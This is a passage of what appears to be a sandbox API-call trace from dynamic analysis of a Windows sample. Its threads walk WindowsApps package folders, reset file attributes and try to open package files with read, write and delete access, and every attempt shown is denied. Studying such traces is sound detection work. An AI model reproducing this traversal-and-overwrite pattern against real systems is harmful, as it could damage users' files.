	[0082.457] wcscat (in: _Dest=0x4767110, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.457] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4746fb0
	[0082.457] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4746fb0 | out: lpFindFileData=0x4746fb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbd8a0611, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbd8a0611, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8a0611, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8558
	[0082.458] wcscmp (_String1=".", _String2=".") returned 0
	[0082.458] FindNextFileW (in: hFindFile=0x46a8558, lpFindFileData=0x4746fb0 | out: lpFindFileData=0x4746fb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbd8a0611, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbd8a0611, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8a0611, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.458] wcscmp (_String1="..", _String2=".") returned 1
	[0082.458] wcscmp (_String1="..", _String2="..") returned 0
	[0082.458] FindNextFileW (in: hFindFile=0x46a8558, lpFindFileData=0x4746fb0 | out: lpFindFileData=0x4746fb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbd8a0611, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbd8a0611, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8a0611, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.458] FindClose (in: hFindFile=0x46a8558 | out: hFindFile=0x46a8558) returned 1
	[0082.458] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4746fb0) returned 1
	[0082.458] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767110) returned 1
	[0082.458] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752928) returned 1

Thread:
	id = 985
	os_tid = 0x163c

	[0082.462] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.464] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.465] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.466] GetLastError () returned 0x5
	[0082.466] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.468] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb9d8) returned 1

Thread:
	id = 986
	os_tid = 0x1640

	[0082.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e32e20
	[0082.469] wcscpy (in: _Dest=0x4e32e20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.469] wcscat (in: _Dest=0x4e32e20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.469] wcscat (in: _Dest=0x4e32e20, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4746fb0
	[0082.469] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4746fb0 | out: lpFindFileData=0x4746fb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac08827b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabb9e6bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac08827b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8558
	[0082.470] wcscmp (_String1=".", _String2=".") returned 0
	[0082.470] FindNextFileW (in: hFindFile=0x46a8558, lpFindFileData=0x4746fb0 | out: lpFindFileData=0x4746fb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac08827b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabb9e6bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac08827b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.470] wcscmp (_String1="..", _String2=".") returned 1
	[0082.470] wcscmp (_String1="..", _String2="..") returned 0
	[0082.470] FindNextFileW (in: hFindFile=0x46a8558, lpFindFileData=0x4746fb0 | out: lpFindFileData=0x4746fb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac08827b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac08827b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac08827b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1dde, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0082.470] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0082.470] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0082.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x108) returned 0x4716e28
	[0082.470] wcscpy (in: _Dest=0x4716e28, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.470] wcscat (in: _Dest=0x4716e28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.470] wcscat (in: _Dest=0x4716e28, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.539] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.539] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.539] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.539] GetLastError () returned 0x5
	[0090.539] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.539] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716e28) returned 1
	[0090.539] FindNextFileW (in: hFindFile=0x46a8558, lpFindFileData=0x4746fb0 | out: lpFindFileData=0x4746fb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac08827b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac08827b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac08827b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1dde, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.539] FindClose (in: hFindFile=0x46a8558 | out: hFindFile=0x46a8558) returned 1
	[0090.540] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4746fb0) returned 1
	[0090.540] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32e20) returned 1
	[0090.540] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768288) returned 1

Thread:
	id = 987
	os_tid = 0x1648

	[0082.471] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.471] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.471] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoft3dviewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.471] GetLastError () returned 0x5
	[0082.471] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.472] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eaad8) returned 1

Thread:
	id = 988
	os_tid = 0x164c

	[0082.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x108) returned 0x4716f40
	[0082.473] wcscpy (in: _Dest=0x4716f40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.473] wcscat (in: _Dest=0x4716f40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.473] wcscat (in: _Dest=0x4716f40, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a1e50
	[0082.473] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x47a1e50 | out: lpFindFileData=0x47a1e50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbed30aaa, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbed30aaa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a81d8
	[0082.474] wcscmp (_String1=".", _String2=".") returned 0
	[0082.474] FindNextFileW (in: hFindFile=0x46a81d8, lpFindFileData=0x47a1e50 | out: lpFindFileData=0x47a1e50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbed30aaa, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbed30aaa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.474] wcscmp (_String1="..", _String2=".") returned 1
	[0082.474] wcscmp (_String1="..", _String2="..") returned 0
	[0082.474] FindNextFileW (in: hFindFile=0x46a81d8, lpFindFileData=0x47a1e50 | out: lpFindFileData=0x47a1e50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbed30aaa, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbed30aaa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.474] FindClose (in: hFindFile=0x46a81d8 | out: hFindFile=0x46a81d8) returned 1
	[0082.474] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a1e50) returned 1
	[0082.474] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716f40) returned 1
	[0082.474] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1

Thread:
	id = 989
	os_tid = 0x1650

	[0082.475] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.477] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.478] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.480] GetLastError () returned 0x5
	[0082.480] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.481] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb8e8) returned 1

Thread:
	id = 990
	os_tid = 0x1654

	[0082.483] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e32f08
	[0082.483] wcscpy (in: _Dest=0x4e32f08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.483] wcscat (in: _Dest=0x4e32f08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.483] wcscat (in: _Dest=0x4e32f08, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.483] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a1e50
	[0082.483] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x47a1e50 | out: lpFindFileData=0x47a1e50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628da999, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabdaf1a7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628da999, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8598
	[0082.484] wcscmp (_String1=".", _String2=".") returned 0
	[0082.484] FindNextFileW (in: hFindFile=0x46a8598, lpFindFileData=0x47a1e50 | out: lpFindFileData=0x47a1e50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628da999, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabdaf1a7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628da999, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.484] wcscmp (_String1="..", _String2=".") returned 1
	[0082.484] wcscmp (_String1="..", _String2="..") returned 0
	[0082.484] FindNextFileW (in: hFindFile=0x46a8598, lpFindFileData=0x47a1e50 | out: lpFindFileData=0x47a1e50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x628da999, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x628da999, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x628da999, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3e47, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0082.484] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0082.484] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0082.484] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d894a8
	[0082.484] wcscpy (in: _Dest=0x2d894a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.484] wcscat (in: _Dest=0x2d894a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.484] wcscat (in: _Dest=0x2d894a8, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.535] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.536] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.536] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.536] GetLastError () returned 0x5
	[0090.536] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.537] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d894a8) returned 1
	[0090.537] FindNextFileW (in: hFindFile=0x46a8598, lpFindFileData=0x47a1e50 | out: lpFindFileData=0x47a1e50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x628da999, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x628da999, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x628da999, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3e47, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.537] FindClose (in: hFindFile=0x46a8598 | out: hFindFile=0x46a8598) returned 1
	[0090.537] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a1e50) returned 1
	[0090.537] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32f08) returned 1
	[0090.537] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768710) returned 1

Thread:
	id = 991
	os_tid = 0x1658

	[0082.484] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.485] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.485] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.485] GetLastError () returned 0x5
